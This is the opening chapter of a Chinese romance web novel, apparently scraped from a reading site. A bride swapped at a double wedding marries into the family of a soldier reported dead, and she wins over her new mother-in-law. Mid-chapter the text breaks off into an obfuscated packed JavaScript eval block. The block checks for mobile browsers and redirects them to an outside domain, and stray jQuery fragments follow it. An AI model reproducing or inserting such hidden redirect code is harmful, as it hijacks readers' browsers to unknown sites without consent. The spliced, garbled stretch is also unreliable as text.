1. 第 1 章

作品:《换亲后,战死的相公回来了

    三月末,万物复苏的霍家村,出了一场大热闹。


    沉睡了一冬的大地都跟着震动了一般。


    从早到晚,锣鼓鞭炮响声未绝,又有吵骂厮打的声响混入其中。


    让本就热闹的村子越发热闹起来。


    霍家村今天有两户人家同时举办婚礼。


    一户是住在村东头的霍老二家。


    一户是住在村西头的梁秀才家。


    两家娶的都是隔壁大杨村宁老汉的女儿。


    原本霍老二家订的是宁老汉长女,梁秀才订的是宁老汉次女。


    谁知道新娘子接进门,天地拜了,合卺酒喝了,盖头一掀,发现新娘子接错了。


    这可了得,两家赶紧张罗着把新娘子换回来。


    幸好洞房还没入,否则这不是闹出了大笑话。


    ……


    宁老汉的次女,宁玉婵,此刻正抱着大公鸡坐在霍家准备的新房里。


    大公鸡毛色漂亮,鸡冠高高耸立,仿佛一团燃烧的火焰。


    长得又壮又胖。


    犹如一只高傲的大将军。


    下轿时喜婆塞她怀里,担心大公鸡不老实,叮嘱她一定紧紧抱住了。


    这就是和她拜堂的丈夫,可不能飞了。


    说也奇怪,一直挣扎不肯服软的大公鸡,在落进她怀里的瞬间,竟然十分温顺的安静下来。


    之后拜堂、进洞房一切顺利。


    此时,她盖头还没掀开。


    心里多少有些忐忑。


    原本,她订的是村西头的梁秀才,这会应该坐在梁秀才家里,两个人和和美美的喝交杯酒。


    两个人是五年前订的婚。


    那时她才十三岁。


    梁秀才也不过十八九岁。


    订婚当年考中的秀才,第一次参加乡试失败。


    今年秋天应该第二次参加。


    书院的先生都说,他这科准中的。


    梁秀才是十里八乡最有才的青年,人长得又清秀又英俊。


    不知道多少有女儿的家里请人上门做媒。


    可惜,宁玉婵早一步,订下了梁秀才。


    十里八乡不知道多羡慕,等梁秀才考中举人,进门就做举人娘子,可算是一步登天了。


    ……


    宁玉婵从小生活在大杨村,和霍家村只有一河之隔。


    宁老汉以做面食为生,宁玉婵和姐姐每天都会帮他出摊。


    梁秀才隔三差五去摊上看看,时不时塞给宁玉婵几个铜板,每次宁玉婵都会给他包几块点心。


    可见梁秀才对她这个小未婚妻是十分满意的。


    前两年就拜托父母张罗两人的婚事,可宁玉婵的姐姐还待字闺中,没有妹妹先出嫁的道理。


    一直拖到今年春,宁老汉实在拗不过,决定两个女儿一起出嫁。


    这才有了今天的婚礼。


    宁玉婵的姐姐,宁玉乔没出嫁,原因很简单,她未婚夫霍景烨(小名长生)当年订完婚就当兵去了。


    两年前传来死在战场的噩耗。


    宁老汉当然是想退婚的,可霍家说什么都不愿意。


    没亲眼看见儿子的尸体,他们不可能相信这种传言。


    夫妻俩跪在宁老汉面前,求他再给两年时间。


    宁老汉拉不下脸,看霍家夫妻实在太可怜,只能按耐下退婚的想法。


    梁家上门提亲后,宁玉乔心仪未来的举人,说什么都要嫁给他。


    宁玉婵刚开始还以为姐姐在跟她开玩笑,母亲过世的早,她们姐妹和宁老汉相依为命,关系说不上多好,但绝对不坏。


    亲事早已订好,哪有临出嫁,掉换新娘子的。


    可宁玉乔要死要活,吵得宁老汉无法,只能拉下脸面商量宁玉婵。


    宁玉婵自然不会同意。


    就是那个时候,宁玉婵知道了自己并不是宁老汉亲生。


    宁玉乔让她回报这些年宁家对她的养育之恩,把梁秀才让出来。


    面对宁老汉的满脸皱纹和因为救她而落下残疾的手掌,她能怎么办?


    宁玉婵别无选择,在宁家恩情和梁秀才之间,她反复挣扎之后选择了宁家。


    即使这样,她也不愿意嫁进霍家,和大公鸡拜堂,做一辈子寡妇。


    可是宁玉乔威胁她,说她是叛逆之后,本该满门抄斩,只要被人发现,她就会被朝廷抓住送上断头台。


    倒不如嫁给一个死人,安安分分的过一辈子。


    宁玉婵心灰意冷,万一哪天事情败露,连累未来的相公和子女,倒不如做一辈子寡妇。


    既能安慰宁老汉,不至于做出退婚有违诺言的事情。


    又能慰藉霍家父母。


    以补偿失去儿子之痛。


    还能让自己安安稳稳的度过此生。


    也算是一举数得。


    所以,她毅然决然地上了霍家的花轿。


    ……


    “嫂子,”一直安静的新房,忽然出现一道特别羞怯的童声。


    是霍景烨十二岁的小妹,她进来帮嫂子掀盖头。


    盖头打开,预想的那张脸并没有出现。


    她还以为出现幻觉了,使劲揉了揉眼睛,又惊又恐地呢喃道:“玉蝉姐?”


    她忽然像见了鬼一般转身往外跑,“娘,爹,错了,错了,嫂子不是嫂子,出错了……”


    她急急忙忙跑出去,正好撞到霍母身上。


    霍母刚才听了几句闲话,正不自在着,看她冒冒失失不悦道:“大喜的日子,你跑什么,什么错了,错了,嫂子的盖头掀了吗?让你给嫂子的饺子,她吃了吗?”


    霍小妹小名桃花。


    仿佛没听见霍母训斥一般,只一个劲的说:“错了,错了,嫂子不是嫂子。”


    霍母皱了皱眉:“什么嫂子不是嫂子?”


    桃花也不知道怎么解释,她抬手指向婚房:“你自己看。”


    霍母不看不要紧,一看比霍小妹还惊恐。


    “怎么是玉蝉?”


    她扯开嗓子回头喊:“长生他爹,你快点过来,见鬼了,快点过来。”


    长生是霍景烨的小名。


    霍父正招待客人,听见媳妇喊他,放下酒盅急忙往东厢房走。


    早年腿受过伤,他走路一瘸一拐,用最快的的速度赶到霍母身边。


    “怎么了,什么见鬼了,大喜的日子,能不能说点吉利话。”


    霍母指着新房说:“你快看新娘子。”


    霍父有些不自在,“长生娘,你干什么,哪有新婚夜老公公把着新房门往里瞅的,传出去不得被人笑死。”


    霍母狠狠瞪他一眼:“让你看,你就看。”


    霍父一个五大三粗的汉子,此刻竟有几分扭捏之感。


    他先瞅婆娘一眼,不是跟他开玩笑,这才往新房里瞅去。


    这一瞅不要紧,“怎么是玉蝉?长生订的不是玉乔吗?”


    此时已经入夜,煤油灯不够亮,他觑着眼睛打量半天,确定自己没有看错。


    “长生娘,这到底怎么回事?”


    宁玉婵一直比外边的人紧张。


    霍景烨虽然传回死信,可订的是姐姐宁玉乔。


    如今她坐着花轿进门,总有种蒙骗霍家之感。


    虽然有人能嫁过来已经不错了。


    此时,她身穿红色嫁衣坐在炕边,怀里抱着温顺的大公鸡,被门口的霍家人像打量怪物似的打量。


    手臂不由得握紧,脊背挺得笔直,尽量掩饰住如鼓的心跳,大大方方地看向门口。


    大公鸡被束缚到,掉换脑袋,重新趴在她怀里。


    霍母两条腿好像不听使唤一般,别别扭扭顺着墙壁走进屋。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15785064|174839||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>宁玉婵咬着嘴唇,缓缓起身,抱着大公鸡给霍母行礼。


    “娘,我从小喜欢霍大哥,这次自作主张商量姐姐换了花轿,还请娘包容,全了儿媳的心愿。”


    霍母一时不知道说什么,她张了张嘴,“长生……长生……”


    宁玉婵知道霍母在想什么,“娘,如果霍大哥能回来,那是我的福气,如果长生大哥回不来,那我就一辈子守着他,您放心,我肯定不会变心。”


    霍母又不是小孩子,怎么可能相信。


    “玉蝉,你说得好听,长生这个情况,原本不该难为你,可我得要你一句实话,真是你喜欢长生,还是玉乔不愿意嫁过来?”


    梁秀才是他们霍家村第一个考中秀才的青年。


    不说秋天能不能考中举人,光是秀才的身份,十里八乡都不知道有多少人家想要结亲的。


    宁玉婵又不傻,放着好好地秀才郎不要,要一个死人?


    再说订婚五年多,可从来没听说过宁玉婵对儿子有意思。


    霍母眼明心亮,有什么想不到的。


    宁玉婵不好说实话。


    霍景烨是死是活谁都不知道。


    霍家父母已经很难过了,再被儿子的未婚妻嫌弃,相当于往他们心口上捅刀子。


    “娘,您是不是觉得我不如姐姐?


    不如姐姐好看,不如姐姐懂事,不如姐姐能干?


    嫌弃我了,不想让我给霍大哥守着……”


    宁玉婵一低头,几滴晶莹剔透的水珠子砸下来。


    她一手抱着大公鸡,一手用手帕按了按,哽咽道:“娘要是不喜欢我,这就把我送回去吧,今天我已经当着全村父老乡亲的面和大公鸡拜了堂,送回去也没人要了……”


    宁老汉的两个女儿和水葱似的,不光长得漂亮还能干。


    从小到大一直没断过媒人。


    都说这样的女儿,不嫁官家也得嫁进大户人家才不算辱没。


    霍家在村里连中等人家都算不上,仅能维持温饱。


    当年也是霍母豁出脸皮,亲自找到宁老汉,好说歹说又是送鸡又是送鸭才把婚事定下来。


    别提那段时间,她有多得意了。


    从村子里走一圈,都得昂着下巴。


    如今长女换次女,那也是多少人都求不到的好姑娘。


    她自然是不会挑的。


    可自从订婚到现在已经五年,她心里想的一直都是宁玉乔。


    脑海里幻想的也是宁玉乔嫁过来婆媳相处的情景。


    忽然换成宁玉婵,这心里怎么都不得劲。


    看见漂亮和朵花似的姑娘哭了,心脏仿佛被人揪了一把。


    “玉蝉,”她急忙伸手想要把人扶回炕上,意识到自己刚干完活,手里不干净,使劲往身上抹两把。


    这才拉着宁玉婵按到炕边。


    “这事吧……有点突然,我哪会不喜欢你,其实我一直觉得你比姐姐能干,比姐姐聪明,比姐姐懂事,就是吧……”


    她抓了把头发,看向门口,“长生爹,你到底怎么想,快点给句话啊。”


    霍父想走又不敢走,硬着头皮说道:“都拜堂了能怎么着,玉蝉要是愿意就留下来,要是不愿意,咱就给人家送回去。”


    他背过新房,嘀嘀咕咕道:“我早就说这婚事不成,儿子都没回来,还要耽误人家姑娘……”


    霍母耳朵尖,嗓门也大:“老头子你嘀咕什么呢?”


    霍父赶紧说:“我都听你的。”


    霍母咬了咬牙,很快下了决定。


    她拍着宁玉婵的手说:“既然是你愿意的,那就留下来,反正堂都拜了。


    从现在开始你就是我们霍家人。


    娘在这也和你说句掏心窝子的话。


    如果三年之后长生还不回来,那时你想走,我们绝对不会拦你。”